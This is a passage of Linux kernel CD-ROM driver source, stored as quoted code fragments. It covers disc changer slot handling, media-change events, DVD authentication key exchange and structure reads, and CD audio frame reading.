nslots = 1;\n\tstruct cdrom_changer_info *info;", "\tcd_dbg(CD_CHANGER, \"entering cdrom_number_of_slots()\\n\");\n\t/* cdrom_read_mech_status requires a valid value for capacity: */\n\tcdi->capacity = 0; ", "\tinfo = kmalloc(sizeof(*info), GFP_KERNEL);\n\tif (!info)\n\t\treturn -ENOMEM;", "\tif ((status = cdrom_read_mech_status(cdi, info)) == 0)\n\t\tnslots = info->hdr.nslots;", "\tkfree(info);\n\treturn nslots;\n}", "\n/* If SLOT < 0, unload the current slot. Otherwise, try to load SLOT. */\nstatic int cdrom_load_unload(struct cdrom_device_info *cdi, int slot) \n{\n\tstruct packet_command cgc;", "\tcd_dbg(CD_CHANGER, \"entering cdrom_load_unload()\\n\");\n\tif (cdi->sanyo_slot && slot < 0)\n\t\treturn 0;", "\tinit_cdrom_command(&cgc, NULL, 0, CGC_DATA_NONE);\n\tcgc.cmd[0] = GPCMD_LOAD_UNLOAD;\n\tcgc.cmd[4] = 2 + (slot >= 0);\n\tcgc.cmd[8] = slot;\n\tcgc.timeout = 60 * HZ;", "\t/* The Sanyo 3 CD changer uses byte 7 of the \n\tGPCMD_TEST_UNIT_READY to command to switch CDs instead of\n\tusing the GPCMD_LOAD_UNLOAD opcode. */\n\tif (cdi->sanyo_slot && -1 < slot) {\n\t\tcgc.cmd[0] = GPCMD_TEST_UNIT_READY;\n\t\tcgc.cmd[7] = slot;\n\t\tcgc.cmd[4] = cgc.cmd[8] = 0;\n\t\tcdi->sanyo_slot = slot ? slot : 3;\n\t}", "\treturn cdi->ops->generic_packet(cdi, &cgc);\n}", "static int cdrom_select_disc(struct cdrom_device_info *cdi, int slot)\n{\n\tstruct cdrom_changer_info *info;\n\tint curslot;\n\tint ret;", "\tcd_dbg(CD_CHANGER, \"entering cdrom_select_disc()\\n\");\n\tif (!CDROM_CAN(CDC_SELECT_DISC))\n\t\treturn -EDRIVE_CANT_DO_THIS;", "\tif (cdi->ops->check_events)\n\t\tcdi->ops->check_events(cdi, 0, slot);\n\telse\n\t\tcdi->ops->media_changed(cdi, slot);", "\tif (slot == CDSL_NONE) {\n\t\t/* set media changed bits, on both queues */\n\t\tcdi->mc_flags = 0x3;\n\t\treturn cdrom_load_unload(cdi, -1);\n\t}", "\tinfo = kmalloc(sizeof(*info), GFP_KERNEL);\n\tif (!info)\n\t\treturn -ENOMEM;", "\tif ((ret = cdrom_read_mech_status(cdi, info))) {\n\t\tkfree(info);\n\t\treturn ret;\n\t}", "\tcurslot = info->hdr.curslot;\n\tkfree(info);", "\tif (cdi->use_count > 1 || cdi->keeplocked) {\n\t\tif (slot == CDSL_CURRENT) {\n\t \t\treturn curslot;\n\t\t} else {\n\t\t\treturn -EBUSY;\n\t\t}\n\t}", "\t/* Specifying CDSL_CURRENT will attempt to load the currnet slot,\n\twhich is useful if it had been previously unloaded.\n\tWhether it can or not, it returns the current slot. \n\tSimilarly, if slot happens to be the current one, we still\n\ttry and load it. */\n\tif (slot == CDSL_CURRENT)\n\t\tslot = curslot;", "\t/* set media changed bits on both queues */\n\tcdi->mc_flags = 0x3;\n\tif ((ret = cdrom_load_unload(cdi, slot)))\n\t\treturn ret;", "\treturn slot;\n}", "/*\n * As cdrom implements an extra ioctl consumer for media changed\n * event, it needs to buffer ->check_events() output, such that event\n * is not lost for both the usual VFS and ioctl paths.\n * cdi->{vfs|ioctl}_events are used to buffer pending events for each\n * path.\n *\n * XXX: Locking is non-existent. cdi->ops->check_events() can be\n * called in parallel and buffering fields are accessed without any\n * exclusion. The original media_changed code had the same problem.\n * It might be better to simply deprecate CDROM_MEDIA_CHANGED ioctl\n * and remove this cruft altogether. It doesn't have much usefulness\n * at this point.\n */\nstatic void cdrom_update_events(struct cdrom_device_info *cdi,\n\t\t\t\tunsigned int clearing)\n{\n\tunsigned int events;", "\tevents = cdi->ops->check_events(cdi, clearing, CDSL_CURRENT);\n\tcdi->vfs_events |= events;\n\tcdi->ioctl_events |= events;\n}", "unsigned int cdrom_check_events(struct cdrom_device_info *cdi,\n\t\t\t\tunsigned int clearing)\n{\n\tunsigned int events;", "\tcdrom_update_events(cdi, clearing);\n\tevents = cdi->vfs_events;\n\tcdi->vfs_events = 0;\n\treturn events;\n}\nEXPORT_SYMBOL(cdrom_check_events);", "/* We want to make media_changed accessible to the user through an\n * ioctl. The main problem now is that we must double-buffer the\n * low-level implementation, to assure that the VFS and the user both\n * see a medium change once.\n */", "static\nint media_changed(struct cdrom_device_info *cdi, int queue)\n{\n\tunsigned int mask = (1 << (queue & 1));\n\tint ret = !!(cdi->mc_flags & mask);\n\tbool changed;", "\tif (!CDROM_CAN(CDC_MEDIA_CHANGED))\n\t\treturn ret;", "\t/* changed since last call? */\n\tif (cdi->ops->check_events) {\n\t\tBUG_ON(!queue);\t/* shouldn't be called from VFS path */\n\t\tcdrom_update_events(cdi, DISK_EVENT_MEDIA_CHANGE);\n\t\tchanged = cdi->ioctl_events & DISK_EVENT_MEDIA_CHANGE;\n\t\tcdi->ioctl_events = 0;\n\t} else\n\t\tchanged = cdi->ops->media_changed(cdi, CDSL_CURRENT);", "\tif (changed) {\n\t\tcdi->mc_flags = 0x3; /* set bit on both queues */\n\t\tret |= 1;\n\t\tcdi->media_written = 0;\n\t}", "\tcdi->mc_flags &= ~mask; /* clear bit */\n\treturn ret;\n}", "int cdrom_media_changed(struct cdrom_device_info *cdi)\n{\n\t/* This talks to the VFS, which doesn't like errors - just 1 or 0. \n\t * Returning \"0\" is always safe (media hasn't been changed). Do that \n\t * if the low-level cdrom driver dosn't support media changed. */ \n\tif (cdi == NULL || cdi->ops->media_changed == NULL)\n\t\treturn 0;\n\tif (!CDROM_CAN(CDC_MEDIA_CHANGED))\n\t\treturn 0;\n\treturn media_changed(cdi, 0);\n}", "/* Requests to the low-level drivers will /always/ be done in the\n following format convention:", " CDROM_LBA: all data-related requests.\n CDROM_MSF: all audio-related requests.", " However, a low-level implementation is allowed to refuse this\n request, and return information in its own favorite format.", " It doesn't make sense /at all/ to ask for a play_audio in LBA\n format, or ask for multi-session info in MSF format. However, for\n backward compatibility these format requests will be satisfied, but\n the requests to the low-level drivers will be sanitized in the more\n meaningful format indicated above.\n */", "static\nvoid sanitize_format(union cdrom_addr *addr,\n\t\t u_char * curr, u_char requested)\n{\n\tif (*curr == requested)\n\t\treturn; /* nothing to be done! */\n\tif (requested == CDROM_LBA) {\n\t\taddr->lba = (int) addr->msf.frame +\n\t\t\t75 * (addr->msf.second - 2 + 60 * addr->msf.minute);\n\t} else { /* CDROM_MSF */\n\t\tint lba = addr->lba;\n\t\taddr->msf.frame = lba % 75;\n\t\tlba /= 75;\n\t\tlba += 2;\n\t\taddr->msf.second = lba % 60;\n\t\taddr->msf.minute = lba / 60;\n\t}\n\t*curr = requested;\n}", "void init_cdrom_command(struct packet_command *cgc, void *buf, int len,\n\t\t\tint type)\n{\n\tmemset(cgc, 0, sizeof(struct packet_command));\n\tif (buf)\n\t\tmemset(buf, 0, len);\n\tcgc->buffer = (char *) buf;\n\tcgc->buflen = len;\n\tcgc->data_direction = type;\n\tcgc->timeout = CDROM_DEF_TIMEOUT;\n}", "/* DVD handling */", "#define copy_key(dest,src)\tmemcpy((dest), (src), sizeof(dvd_key))\n#define copy_chal(dest,src)\tmemcpy((dest), (src), sizeof(dvd_challenge))", "static void setup_report_key(struct packet_command *cgc, unsigned agid, unsigned type)\n{\n\tcgc->cmd[0] = GPCMD_REPORT_KEY;\n\tcgc->cmd[10] = type | (agid << 6);\n\tswitch (type) {\n\t\tcase 0: case 8: case 5: {\n\t\t\tcgc->buflen = 8;\n\t\t\tbreak;\n\t\t}\n\t\tcase 1: {\n\t\t\tcgc->buflen = 16;\n\t\t\tbreak;\n\t\t}\n\t\tcase 2: case 4: {\n\t\t\tcgc->buflen = 12;\n\t\t\tbreak;\n\t\t}\n\t}\n\tcgc->cmd[9] = cgc->buflen;\n\tcgc->data_direction = CGC_DATA_READ;\n}", "static void setup_send_key(struct packet_command *cgc, unsigned agid, unsigned type)\n{\n\tcgc->cmd[0] = GPCMD_SEND_KEY;\n\tcgc->cmd[10] = type | (agid << 6);\n\tswitch (type) {\n\t\tcase 1: {\n\t\t\tcgc->buflen = 16;\n\t\t\tbreak;\n\t\t}\n\t\tcase 3: {\n\t\t\tcgc->buflen = 12;\n\t\t\tbreak;\n\t\t}\n\t\tcase 6: {\n\t\t\tcgc->buflen = 8;\n\t\t\tbreak;\n\t\t}\n\t}\n\tcgc->cmd[9] = cgc->buflen;\n\tcgc->data_direction = CGC_DATA_WRITE;\n}", "static int dvd_do_auth(struct cdrom_device_info *cdi, dvd_authinfo *ai)\n{\n\tint ret;\n\tu_char buf[20];\n\tstruct packet_command cgc;\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\trpc_state_t rpc_state;", "\tmemset(buf, 0, sizeof(buf));\n\tinit_cdrom_command(&cgc, buf, 0, CGC_DATA_READ);", "\tswitch (ai->type) {\n\t/* LU data send */\n\tcase DVD_LU_SEND_AGID:\n\t\tcd_dbg(CD_DVD, \"entering DVD_LU_SEND_AGID\\n\");\n\t\tcgc.quiet = 1;\n\t\tsetup_report_key(&cgc, ai->lsa.agid, 0);", "\t\tif ((ret = cdo->generic_packet(cdi, &cgc)))\n\t\t\treturn ret;", "\t\tai->lsa.agid = buf[7] >> 6;\n\t\t/* Returning data, let host change state */\n\t\tbreak;", "\tcase DVD_LU_SEND_KEY1:\n\t\tcd_dbg(CD_DVD, \"entering DVD_LU_SEND_KEY1\\n\");\n\t\tsetup_report_key(&cgc, ai->lsk.agid, 2);", "\t\tif ((ret = cdo->generic_packet(cdi, &cgc)))\n\t\t\treturn ret;", "\t\tcopy_key(ai->lsk.key, &buf[4]);\n\t\t/* Returning data, let host change state */\n\t\tbreak;", "\tcase DVD_LU_SEND_CHALLENGE:\n\t\tcd_dbg(CD_DVD, \"entering DVD_LU_SEND_CHALLENGE\\n\");\n\t\tsetup_report_key(&cgc, ai->lsc.agid, 1);", "\t\tif ((ret = cdo->generic_packet(cdi, &cgc)))\n\t\t\treturn ret;", "\t\tcopy_chal(ai->lsc.chal, &buf[4]);\n\t\t/* Returning data, let host change state */\n\t\tbreak;", "\t/* Post-auth key */\n\tcase DVD_LU_SEND_TITLE_KEY:\n\t\tcd_dbg(CD_DVD, \"entering DVD_LU_SEND_TITLE_KEY\\n\");\n\t\tcgc.quiet = 1;\n\t\tsetup_report_key(&cgc, ai->lstk.agid, 4);\n\t\tcgc.cmd[5] = ai->lstk.lba;\n\t\tcgc.cmd[4] = ai->lstk.lba >> 8;\n\t\tcgc.cmd[3] = ai->lstk.lba >> 16;\n\t\tcgc.cmd[2] = ai->lstk.lba >> 24;", "\t\tif ((ret = cdo->generic_packet(cdi, &cgc)))\n\t\t\treturn ret;", "\t\tai->lstk.cpm = (buf[4] >> 7) & 1;\n\t\tai->lstk.cp_sec = (buf[4] >> 6) & 1;\n\t\tai->lstk.cgms = (buf[4] >> 4) & 3;\n\t\tcopy_key(ai->lstk.title_key, &buf[5]);\n\t\t/* Returning data, let host change state */\n\t\tbreak;", "\tcase DVD_LU_SEND_ASF:\n\t\tcd_dbg(CD_DVD, \"entering DVD_LU_SEND_ASF\\n\");\n\t\tsetup_report_key(&cgc, ai->lsasf.agid, 5);\n\t\t\n\t\tif ((ret = cdo->generic_packet(cdi, &cgc)))\n\t\t\treturn ret;", "\t\tai->lsasf.asf = buf[7] & 1;\n\t\tbreak;", "\t/* LU data receive (LU changes state) */\n\tcase DVD_HOST_SEND_CHALLENGE:\n\t\tcd_dbg(CD_DVD, \"entering DVD_HOST_SEND_CHALLENGE\\n\");\n\t\tsetup_send_key(&cgc, ai->hsc.agid, 1);\n\t\tbuf[1] = 0xe;\n\t\tcopy_chal(&buf[4], ai->hsc.chal);", "\t\tif ((ret = cdo->generic_packet(cdi, &cgc)))\n\t\t\treturn ret;", "\t\tai->type = DVD_LU_SEND_KEY1;\n\t\tbreak;", "\tcase DVD_HOST_SEND_KEY2:\n\t\tcd_dbg(CD_DVD, \"entering DVD_HOST_SEND_KEY2\\n\");\n\t\tsetup_send_key(&cgc, ai->hsk.agid, 3);\n\t\tbuf[1] = 0xa;\n\t\tcopy_key(&buf[4], ai->hsk.key);", "\t\tif ((ret = cdo->generic_packet(cdi, &cgc))) {\n\t\t\tai->type = DVD_AUTH_FAILURE;\n\t\t\treturn ret;\n\t\t}\n\t\tai->type = DVD_AUTH_ESTABLISHED;\n\t\tbreak;", "\t/* Misc */\n\tcase DVD_INVALIDATE_AGID:\n\t\tcgc.quiet = 1;\n\t\tcd_dbg(CD_DVD, \"entering DVD_INVALIDATE_AGID\\n\");\n\t\tsetup_report_key(&cgc, ai->lsa.agid, 0x3f);\n\t\tif ((ret = cdo->generic_packet(cdi, &cgc)))\n\t\t\treturn ret;\n\t\tbreak;", "\t/* Get region settings */\n\tcase DVD_LU_SEND_RPC_STATE:\n\t\tcd_dbg(CD_DVD, \"entering DVD_LU_SEND_RPC_STATE\\n\");\n\t\tsetup_report_key(&cgc, 0, 8);\n\t\tmemset(&rpc_state, 0, sizeof(rpc_state_t));\n\t\tcgc.buffer = (char *) &rpc_state;", "\t\tif ((ret = cdo->generic_packet(cdi, &cgc)))\n\t\t\treturn ret;", "\t\tai->lrpcs.type = rpc_state.type_code;\n\t\tai->lrpcs.vra = rpc_state.vra;\n\t\tai->lrpcs.ucca = rpc_state.ucca;\n\t\tai->lrpcs.region_mask = rpc_state.region_mask;\n\t\tai->lrpcs.rpc_scheme = rpc_state.rpc_scheme;\n\t\tbreak;", "\t/* Set region settings */\n\tcase DVD_HOST_SEND_RPC_STATE:\n\t\tcd_dbg(CD_DVD, \"entering DVD_HOST_SEND_RPC_STATE\\n\");\n\t\tsetup_send_key(&cgc, 0, 6);\n\t\tbuf[1] = 6;\n\t\tbuf[4] = ai->hrpcs.pdrc;", "\t\tif ((ret = cdo->generic_packet(cdi, &cgc)))\n\t\t\treturn ret;\n\t\tbreak;", "\tdefault:\n\t\tcd_dbg(CD_WARNING, \"Invalid DVD key ioctl (%d)\\n\", ai->type);\n\t\treturn -ENOTTY;\n\t}", "\treturn 0;\n}", "static int dvd_read_physical(struct cdrom_device_info *cdi, dvd_struct *s,\n\t\t\t\tstruct packet_command *cgc)\n{\n\tunsigned char buf[21], *base;\n\tstruct dvd_layer *layer;\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tint ret, layer_num = s->physical.layer_num;", "\tif (layer_num >= DVD_LAYERS)\n\t\treturn -EINVAL;", "\tinit_cdrom_command(cgc, buf, sizeof(buf), CGC_DATA_READ);\n\tcgc->cmd[0] = GPCMD_READ_DVD_STRUCTURE;\n\tcgc->cmd[6] = layer_num;\n\tcgc->cmd[7] = s->type;\n\tcgc->cmd[9] = cgc->buflen & 0xff;", "\t/*\n\t * refrain from reporting errors on non-existing layers (mainly)\n\t */\n\tcgc->quiet = 1;", "\tret = cdo->generic_packet(cdi, cgc);\n\tif (ret)\n\t\treturn ret;", "\tbase = &buf[4];\n\tlayer = &s->physical.layer[layer_num];", "\t/*\n\t * place the data... really ugly, but at least we won't have to\n\t * worry about endianess in userspace.\n\t */\n\tmemset(layer, 0, sizeof(*layer));\n\tlayer->book_version = base[0] & 0xf;\n\tlayer->book_type = base[0] >> 4;\n\tlayer->min_rate = base[1] & 0xf;\n\tlayer->disc_size = base[1] >> 4;\n\tlayer->layer_type = base[2] & 0xf;\n\tlayer->track_path = (base[2] >> 4) & 1;\n\tlayer->nlayers = (base[2] >> 5) & 3;\n\tlayer->track_density = base[3] & 0xf;\n\tlayer->linear_density = base[3] >> 4;\n\tlayer->start_sector = base[5] << 16 | base[6] << 8 | base[7];\n\tlayer->end_sector = base[9] << 16 | base[10] << 8 | base[11];\n\tlayer->end_sector_l0 = base[13] << 16 | base[14] << 8 | base[15];\n\tlayer->bca = base[16] >> 7;", "\treturn 0;\n}", "static int dvd_read_copyright(struct cdrom_device_info *cdi, dvd_struct *s,\n\t\t\t\tstruct packet_command *cgc)\n{\n\tint ret;\n\tu_char buf[8];\n\tconst struct cdrom_device_ops *cdo = cdi->ops;", "\tinit_cdrom_command(cgc, buf, sizeof(buf), CGC_DATA_READ);\n\tcgc->cmd[0] = GPCMD_READ_DVD_STRUCTURE;\n\tcgc->cmd[6] = s->copyright.layer_num;\n\tcgc->cmd[7] = s->type;\n\tcgc->cmd[8] = cgc->buflen >> 8;\n\tcgc->cmd[9] = cgc->buflen & 0xff;", "\tret = cdo->generic_packet(cdi, cgc);\n\tif (ret)\n\t\treturn ret;", "\ts->copyright.cpst = buf[4];\n\ts->copyright.rmi = buf[5];", "\treturn 0;\n}", "static int dvd_read_disckey(struct cdrom_device_info *cdi, dvd_struct *s,\n\t\t\t\tstruct packet_command *cgc)\n{\n\tint ret, size;\n\tu_char *buf;\n\tconst struct cdrom_device_ops *cdo = cdi->ops;", "\tsize = sizeof(s->disckey.value) + 4;", "\tbuf = kmalloc(size, GFP_KERNEL);\n\tif (!buf)\n\t\treturn -ENOMEM;", "\tinit_cdrom_command(cgc, buf, size, CGC_DATA_READ);\n\tcgc->cmd[0] = GPCMD_READ_DVD_STRUCTURE;\n\tcgc->cmd[7] = s->type;\n\tcgc->cmd[8] = size >> 8;\n\tcgc->cmd[9] = size & 0xff;\n\tcgc->cmd[10] = s->disckey.agid << 6;", "\tret = cdo->generic_packet(cdi, cgc);\n\tif (!ret)\n\t\tmemcpy(s->disckey.value, &buf[4], sizeof(s->disckey.value));", "\tkfree(buf);\n\treturn ret;\n}", "static int dvd_read_bca(struct cdrom_device_info *cdi, dvd_struct *s,\n\t\t\tstruct packet_command *cgc)\n{\n\tint ret, size = 4 + 188;\n\tu_char *buf;\n\tconst struct cdrom_device_ops *cdo = cdi->ops;", "\tbuf = kmalloc(size, GFP_KERNEL);\n\tif (!buf)\n\t\treturn -ENOMEM;", "\tinit_cdrom_command(cgc, buf, size, CGC_DATA_READ);\n\tcgc->cmd[0] = GPCMD_READ_DVD_STRUCTURE;\n\tcgc->cmd[7] = s->type;\n\tcgc->cmd[9] = cgc->buflen & 0xff;", "\tret = cdo->generic_packet(cdi, cgc);\n\tif (ret)\n\t\tgoto out;", "\ts->bca.len = buf[0] << 8 | buf[1];\n\tif (s->bca.len < 12 || s->bca.len > 188) {\n\t\tcd_dbg(CD_WARNING, \"Received invalid BCA length (%d)\\n\",\n\t\t s->bca.len);\n\t\tret = -EIO;\n\t\tgoto out;\n\t}\n\tmemcpy(s->bca.value, &buf[4], s->bca.len);\n\tret = 0;\nout:\n\tkfree(buf);\n\treturn ret;\n}", "static int dvd_read_manufact(struct cdrom_device_info *cdi, dvd_struct *s,\n\t\t\t\tstruct packet_command *cgc)\n{\n\tint ret = 0, size;\n\tu_char *buf;\n\tconst struct cdrom_device_ops *cdo = cdi->ops;", "\tsize = sizeof(s->manufact.value) + 4;", "\tbuf = kmalloc(size, GFP_KERNEL);\n\tif (!buf)\n\t\treturn -ENOMEM;", "\tinit_cdrom_command(cgc, buf, size, CGC_DATA_READ);\n\tcgc->cmd[0] = GPCMD_READ_DVD_STRUCTURE;\n\tcgc->cmd[7] = s->type;\n\tcgc->cmd[8] = size >> 8;\n\tcgc->cmd[9] = size & 0xff;", "\tret = cdo->generic_packet(cdi, cgc);\n\tif (ret)\n\t\tgoto out;", "\ts->manufact.len = buf[0] << 8 | buf[1];\n\tif (s->manufact.len < 0) {\n\t\tcd_dbg(CD_WARNING, \"Received invalid manufacture info length (%d)\\n\",\n\t\t s->manufact.len);\n\t\tret = -EIO;\n\t} else {\n\t\tif (s->manufact.len > 2048) {\n\t\t\tcd_dbg(CD_WARNING, \"Received invalid manufacture info length (%d): truncating to 2048\\n\",\n\t\t\t s->manufact.len);\n\t\t\ts->manufact.len = 2048;\n\t\t}\n\t\tmemcpy(s->manufact.value, &buf[4], s->manufact.len);\n\t}", "out:\n\tkfree(buf);\n\treturn ret;\n}", "static int dvd_read_struct(struct cdrom_device_info *cdi, dvd_struct *s,\n\t\t\t\tstruct packet_command *cgc)\n{\n\tswitch (s->type) {\n\tcase DVD_STRUCT_PHYSICAL:\n\t\treturn dvd_read_physical(cdi, s, cgc);", "\tcase DVD_STRUCT_COPYRIGHT:\n\t\treturn dvd_read_copyright(cdi, s, cgc);", "\tcase DVD_STRUCT_DISCKEY:\n\t\treturn dvd_read_disckey(cdi, s, cgc);", "\tcase DVD_STRUCT_BCA:\n\t\treturn dvd_read_bca(cdi, s, cgc);", "\tcase DVD_STRUCT_MANUFACT:\n\t\treturn dvd_read_manufact(cdi, s, cgc);\n\t\t\n\tdefault:\n\t\tcd_dbg(CD_WARNING, \": Invalid DVD structure read requested (%d)\\n\",\n\t\t s->type);\n\t\treturn -EINVAL;\n\t}\n}", "int cdrom_mode_sense(struct cdrom_device_info *cdi,\n\t\t struct packet_command *cgc,\n\t\t int page_code, int page_control)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;", "\tmemset(cgc->cmd, 0, sizeof(cgc->cmd));", "\tcgc->cmd[0] = GPCMD_MODE_SENSE_10;\n\tcgc->cmd[2] = page_code | (page_control << 6);\n\tcgc->cmd[7] = cgc->buflen >> 8;\n\tcgc->cmd[8] = cgc->buflen & 0xff;\n\tcgc->data_direction = CGC_DATA_READ;\n\treturn cdo->generic_packet(cdi, cgc);\n}", "int cdrom_mode_select(struct cdrom_device_info *cdi,\n\t\t struct packet_command *cgc)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;", "\tmemset(cgc->cmd, 0, sizeof(cgc->cmd));\n\tmemset(cgc->buffer, 0, 2);\n\tcgc->cmd[0] = GPCMD_MODE_SELECT_10;\n\tcgc->cmd[1] = 0x10;\t\t/* PF */\n\tcgc->cmd[7] = cgc->buflen >> 8;\n\tcgc->cmd[8] = cgc->buflen & 0xff;\n\tcgc->data_direction = CGC_DATA_WRITE;\n\treturn cdo->generic_packet(cdi, cgc);\n}", "static int cdrom_read_subchannel(struct cdrom_device_info *cdi,\n\t\t\t\t struct cdrom_subchnl *subchnl, int mcn)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tstruct packet_command cgc;\n\tchar buffer[32];\n\tint ret;", "\tinit_cdrom_command(&cgc, buffer, 16, CGC_DATA_READ);\n\tcgc.cmd[0] = GPCMD_READ_SUBCHANNEL;\n\tcgc.cmd[1] = subchnl->cdsc_format;/* MSF or LBA addressing */\n\tcgc.cmd[2] = 0x40; /* request subQ data */\n\tcgc.cmd[3] = mcn ? 2 : 1;\n\tcgc.cmd[8] = 16;", "\tif ((ret = cdo->generic_packet(cdi, &cgc)))\n\t\treturn ret;", "\tsubchnl->cdsc_audiostatus = cgc.buffer[1];\n\tsubchnl->cdsc_ctrl = cgc.buffer[5] & 0xf;\n\tsubchnl->cdsc_trk = cgc.buffer[6];\n\tsubchnl->cdsc_ind = cgc.buffer[7];", "\tif (subchnl->cdsc_format == CDROM_LBA) {\n\t\tsubchnl->cdsc_absaddr.lba = ((cgc.buffer[8] << 24) |\n\t\t\t\t\t\t(cgc.buffer[9] << 16) |\n\t\t\t\t\t\t(cgc.buffer[10] << 8) |\n\t\t\t\t\t\t(cgc.buffer[11]));\n\t\tsubchnl->cdsc_reladdr.lba = ((cgc.buffer[12] << 24) |\n\t\t\t\t\t\t(cgc.buffer[13] << 16) |\n\t\t\t\t\t\t(cgc.buffer[14] << 8) |\n\t\t\t\t\t\t(cgc.buffer[15]));\n\t} else {\n\t\tsubchnl->cdsc_reladdr.msf.minute = cgc.buffer[13];\n\t\tsubchnl->cdsc_reladdr.msf.second = cgc.buffer[14];\n\t\tsubchnl->cdsc_reladdr.msf.frame = cgc.buffer[15];\n\t\tsubchnl->cdsc_absaddr.msf.minute = cgc.buffer[9];\n\t\tsubchnl->cdsc_absaddr.msf.second = cgc.buffer[10];\n\t\tsubchnl->cdsc_absaddr.msf.frame = cgc.buffer[11];\n\t}", "\treturn 0;\n}", "/*\n * Specific READ_10 interface\n */\nstatic int cdrom_read_cd(struct cdrom_device_info *cdi,\n\t\t\t struct packet_command *cgc, int lba,\n\t\t\t int blocksize, int nblocks)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;", "\tmemset(&cgc->cmd, 0, sizeof(cgc->cmd));\n\tcgc->cmd[0] = GPCMD_READ_10;\n\tcgc->cmd[2] = (lba >> 24) & 0xff;\n\tcgc->cmd[3] = (lba >> 16) & 0xff;\n\tcgc->cmd[4] = (lba >> 8) & 0xff;\n\tcgc->cmd[5] = lba & 0xff;\n\tcgc->cmd[6] = (nblocks >> 16) & 0xff;\n\tcgc->cmd[7] = (nblocks >> 8) & 0xff;\n\tcgc->cmd[8] = nblocks & 0xff;\n\tcgc->buflen = blocksize * nblocks;\n\treturn cdo->generic_packet(cdi, cgc);\n}", "/* very generic interface for reading the various types of blocks */\nstatic int cdrom_read_block(struct cdrom_device_info *cdi,\n\t\t\t struct packet_command *cgc,\n\t\t\t int lba, int nblocks, int format, int blksize)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;", "\tmemset(&cgc->cmd, 0, sizeof(cgc->cmd));\n\tcgc->cmd[0] = GPCMD_READ_CD;\n\t/* expected sector size - cdda,mode1,etc. */\n\tcgc->cmd[1] = format << 2;\n\t/* starting address */\n\tcgc->cmd[2] = (lba >> 24) & 0xff;\n\tcgc->cmd[3] = (lba >> 16) & 0xff;\n\tcgc->cmd[4] = (lba >> 8) & 0xff;\n\tcgc->cmd[5] = lba & 0xff;\n\t/* number of blocks */\n\tcgc->cmd[6] = (nblocks >> 16) & 0xff;\n\tcgc->cmd[7] = (nblocks >> 8) & 0xff;\n\tcgc->cmd[8] = nblocks & 0xff;\n\tcgc->buflen = blksize * nblocks;\n\t\n\t/* set the header info returned */\n\tswitch (blksize) {\n\tcase CD_FRAMESIZE_RAW0\t: cgc->cmd[9] = 0x58; break;\n\tcase CD_FRAMESIZE_RAW1\t: cgc->cmd[9] = 0x78; break;\n\tcase CD_FRAMESIZE_RAW\t: cgc->cmd[9] = 0xf8; break;\n\tdefault\t\t\t: cgc->cmd[9] = 0x10;\n\t}\n\t\n\treturn cdo->generic_packet(cdi, cgc);\n}", "static int cdrom_read_cdda_old(struct cdrom_device_info *cdi, __u8 __user *ubuf,\n\t\t\t int lba, int nframes)\n{\n\tstruct packet_command cgc;\n\tint ret = 0;\n\tint nr;", "\tcdi->last_sense = 0;", "\tmemset(&cgc, 0, sizeof(cgc));", "\t/*\n\t * start with will ra.nframes size, back down if alloc fails\n\t */\n\tnr = nframes;\n\tdo {\n\t\tcgc.buffer = kmalloc(CD_FRAMESIZE_RAW * nr, GFP_KERNEL);\n\t\tif (cgc.buffer)\n\t\t\tbreak;", "\t\tnr >>= 1;\n\t} while (nr);", "\tif (!nr)\n\t\treturn -ENOMEM;", "\tcgc.data_direction = CGC_DATA_READ;\n\twhile (nframes > 0) {\n\t\tif (nr > nframes)\n\t\t\tnr = nframes;", "\t\tret = cdrom_read_block(cdi, &cgc, lba, nr, 1, CD_FRAMESIZE_RAW);\n\t\tif (ret)\n\t\t\tbreak;\n\t\tif (copy_to_user(ubuf, cgc.buffer, CD_FRAMESIZE_RAW * nr)) {\n\t\t\tret = -EFAULT;\n\t\t\tbreak;\n\t\t}\n\t\tubuf += CD_FRAMESIZE_RAW * nr;\n\t\tnframes -= nr;\n\t\tlba += nr;\n\t}\n\tkfree(cgc.buffer);\n\treturn ret;\n}", "static int cdrom_read_cdda_bpc(struct cdrom_device_info *cdi, __u8 __user *ubuf,\n\t\t\t int lba, int nframes)\n{\n\tstruct request_queue *q = cdi->disk->queue;\n\tstruct request *rq;\n\tstruct scsi_request *req;\n\tstruct bio *bio;\n\tunsigned int len;\n\tint nr, ret = 0;", "\tif (!q)\n\t\treturn -ENXIO;", "\tif (!blk_queue_scsi_passthrough(q)) {\n\t\tWARN_ONCE(true,\n\t\t\t \"Attempt read CDDA info through a non-SCSI queue\\n\");\n\t\treturn -EINVAL;\n\t}", "\tcdi->last_sense = 0;", "\twhile (nframes) {\n\t\tnr = nframes;\n\t\tif (cdi->cdda_method == CDDA_BPC_SINGLE)\n\t\t\tnr = 1;\n\t\tif (nr * CD_FRAMESIZE_RAW > (queue_max_sectors(q) << 9))\n\t\t\tnr = (queue_max_sectors(q) << 9) / CD_FRAMESIZE_RAW;", "\t\tlen = nr * CD_FRAMESIZE_RAW;", "\t\trq = blk_get_request(q, REQ_OP_SCSI_IN, GFP_KERNEL);\n\t\tif (IS_ERR(rq)) {\n\t\t\tret = PTR_ERR(rq);\n\t\t\tbreak;\n\t\t}\n\t\treq = scsi_req(rq);", "\t\tret = blk_rq_map_user(q, rq, NULL, ubuf, len, GFP_KERNEL);\n\t\tif (ret) {\n\t\t\tblk_put_request(rq);\n\t\t\tbreak;\n\t\t}", "\t\treq->cmd[0] = GPCMD_READ_CD;\n\t\treq->cmd[1] = 1 << 2;\n\t\treq->cmd[2] = (lba >> 24) & 0xff;\n\t\treq->cmd[3] = (lba >> 16) & 0xff;\n\t\treq->cmd[4] = (lba >> 8) & 0xff;\n\t\treq->cmd[5] = lba & 0xff;\n\t\treq->cmd[6] = (nr >> 16) & 0xff;\n\t\treq->cmd[7] = (nr >> 8) & 0xff;\n\t\treq->cmd[8] = nr & 0xff;\n\t\treq->cmd[9] = 0xf8;", "\t\treq->cmd_len = 12;\n\t\trq->timeout = 60 * HZ;\n\t\tbio = rq->bio;", "\t\tblk_execute_rq(q, cdi->disk, rq, 0);\n\t\tif (scsi_req(rq)->result) {\n\t\t\tstruct request_sense *s = req->sense;\n\t\t\tret = -EIO;\n\t\t\tcdi->last_sense = s->sense_key;\n\t\t}", "\t\tif 